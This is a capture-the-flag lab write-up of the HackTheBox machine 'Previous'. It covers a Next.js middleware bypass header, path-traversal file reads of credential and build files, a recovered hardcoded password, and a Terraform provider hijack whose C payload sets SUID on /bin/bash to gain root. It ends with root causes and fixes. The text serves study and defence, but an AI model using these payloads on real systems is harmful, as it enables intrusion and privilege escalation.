Pentest Notes – Previous Attack Chain

Date: 2025-12-28
Box: HTB — Previous (Pentest Study Note)

Previous – Middleware Bypass to Root (LFI → Auth Leak → Terraform Provider Hijacking)

Next.js Middleware was used as the primary “auth gate,” but backend APIs trusted the middleware outcome. A header-based middleware bypass enabled access to protected endpoints. An unsafe download API allowed LFI, exposing Next.js build artifacts and bundled server auth logic (NextAuth Credentials Provider), leading to hardcoded credential recovery and SSH pivot. Privilege escalation was achieved via a risky sudo rule running terraform apply as root while preserving environment variables, combined with a provider installation override that loaded attacker-controlled provider binaries from a user directory.
Next.js Middleware Auth Bypass CVE-2025-29927 LFI Hardcoded Secret SSH Pivot
sudo terraform env_reset Provider Hijack Supply Chain Root

0. Summary

Full chain, step by step:

  1. Identify Next.js middleware-based auth gate (all requests redirected to /signin).
  2. Bypass middleware using a subrequest header to reach protected backend APIs.
  3. Abuse /api/download path validation weakness to read local files (LFI).
  4. Read .next/ build artifacts to enumerate routes and extract server bundles.
  5. Dump NextAuth Credentials Provider logic and recover hardcoded fallback secret.
  6. SSH pivot using recovered credentials (user: jeremy).
  7. Find risky sudo rule: root runs terraform apply with !env_reset.
  8. Leverage provider override (dev_overrides) to load attacker-controlled provider binary as root.
  9. Provider executes in root context → set SUID on /bin/bash → root shell.

This is a trust-boundary failure chain: “edge-only authorization” + “unsafe file read” + “credential leakage” + “privileged IaC execution” + “plugin supply-chain trust.”


1. Initial Recon

1-1. Port scan

nmap -sC -sV -p- 10.10.11.83

1-2. Services

  • 22/tcp – SSH
  • 80/tcp – nginx (redirects to previous.htb)

2. Web Layer – Middleware-Based Access Control

2-1. Observe global redirect

curl -I http://previous.htb/
  • All requests redirect to /signin via 307.
  • Indicates Next.js Middleware acting as a request gate.
Key insight
Middleware is a routing/filtering mechanism. If the backend handlers don’t enforce authorization themselves, “middleware bypass” becomes “full API access.”

3. Middleware Bypass → API Reachability

3-1. Header-based bypass

curl -i http://previous.htb/api \
  -H "X-Middleware-Subrequest: middleware:middleware"

Once middleware is skipped, the request reaches real API handlers. The following endpoint was identified:

  • /api/download
Why this works
Some Next.js deployments treat special “subrequest” headers as internal signals. If untrusted clients can set them, the middleware decision can be bypassed.

4. /api/download – Local File Inclusion

4-1. Confirm LFI via path traversal

curl "http://previous.htb/api/download?example=../../../../etc/passwd" \
  -H "X-Middleware-Subrequest: middleware"

4-2. Environment leakage

curl "http://previous.htb/api/download?example=../../../../proc/self/environ" \
  -H "X-Middleware-Subrequest: middleware"
  • Confirms Node.js production runtime.
  • Example signal: PWD=/app suggests container/isolated runtime for web process.
Security impact
LFI here is not just “read /etc/passwd” — it becomes “read server-side code and secrets,” especially when build artifacts are present.

5. Next.js Build Artifact Disclosure

5-1. Enumerate routes from build output

curl "http://previous.htb/api/download?example=../../../../app/.next/routes-manifest.json" \
  -H "X-Middleware-Subrequest: middleware" | jq

Confirmed NextAuth route:

  • /api/auth/[...nextauth]

5-2. Dump the bundled server handler

curl "http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
  -H "X-Middleware-Subrequest: middleware"
Key insight
In many deployments, server auth logic is bundled into .next/server/. If an attacker can read it, “auth” becomes “documentation.”

6. Authentication Bypass – NextAuth Credentials

The leaked bundle revealed a Credentials Provider with hardcoded fallback logic:

authorize: async (e) =>
  e?.username === "jeremy" &&
  e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes")
  • If ADMIN_SECRET is not set in the environment, the fallback string becomes the real password.
  • This makes the secret recoverable via code disclosure.
Root problem
“Fallback secrets” are effectively hardcoded credentials once the code is exposed. Credentials Providers must never embed secrets like this.

7. SSH Pivot – User jeremy

7-1. Pivot to host user

ssh [email protected]
Note
The web container’s /etc/passwd and the host OS user DB are not the same. This pivot relies on leaked credentials being valid on SSH, not on container-only accounts.

8. Privilege Escalation Discovery

8-1. Sudo permissions

sudo -l
(root) /usr/bin/terraform -chdir=/opt/examples apply
Defaults: !env_reset
Why this is dangerous
terraform apply executes external providers (plugins). With !env_reset, user-controlled environment variables can influence root’s execution context.

9. Terraform Configuration Analysis

9-1. Review target Terraform project

ls -al /opt/examples
cat /opt/examples/main.tf

Custom provider observed:

previous.htb/terraform/examples

9-2. Provider installation override

cat ~/.terraformrc
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/home/jeremy"
  }
  direct {}
}
Core weakness
Root runs Terraform, but Terraform is configured to load a provider binary from a user-writable directory. That is a classic “privileged plugin load” supply-chain problem.

10. Terraform Provider Hijacking (Custom Provider)

10-1. Provider execution model

  • Terraform providers are external executables.
  • When root runs terraform apply, the provider executable runs as root.
  • Even if the provider later fails protocol negotiation, the process already executed.
Trust boundary
“Root trusts a plugin loaded from a user directory.”

10-2. Attacker-crafted provider binary (terraform-provider-examples)

Minimal payload concept (executes as soon as Terraform launches the provider):

#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    setgid(0);
    system("chmod +s /bin/bash");
    return 0;
}

10-3. Trigger execution in root context

export TF_CLI_CONFIG_FILE=/home/jeremy/.terraformrc
sudo /usr/bin/terraform -chdir=/opt/examples apply
Result
Provider loads from /home/jeremy → executed by root → /bin/bash becomes SUID.

11. Root Shell

11-1. SUID bash → root shell

/bin/bash -p
whoami
id
root
uid=0(root) gid=0(root) groups=0(root)

11-2. Proof

cd /root
cat root.txt

12. Root Causes Summary

Weakness Impact
Middleware-only auth Backend APIs reachable if middleware is bypassed
LFI in download API Read server code/secrets and internal build artifacts
.next build artifacts exposed Route discovery + bundled auth logic leakage
Hardcoded/fallback credentials Auth bypass once code is disclosed
Unsafe sudo rule for Terraform IaC tool becomes root code execution surface
!env_reset User environment variables flow into root execution context
Terraform dev_overrides provider trust Provider hijack → root execution of attacker binary

13. Key Takeaways

  • Next.js Middleware ≠ Authorization. Backend handlers must enforce auth/roles independently.
  • Never expose .next/ server bundles. Treat build output as sensitive server-side code.
  • Credentials Provider에 하드코딩 시크릿 금지. 환경변수/secret manager 강제 + fallback 제거.
  • Terraform을 sudo로 직접 허용하지 말 것. 최소한 plan/apply 분리 + 고정된 실행 환경.
  • sudo에서 env_reset 비활성화는 치명적. 특히 플러그인/로더/인터프리터가 있으면 즉시 위험.
  • Provider/플러그인 로딩은 공급망 공격 표면. dev_overrides는 개발 환경에서만 사용.

Overall: multiple “small” trust breaks aligned into a deterministic full compromise.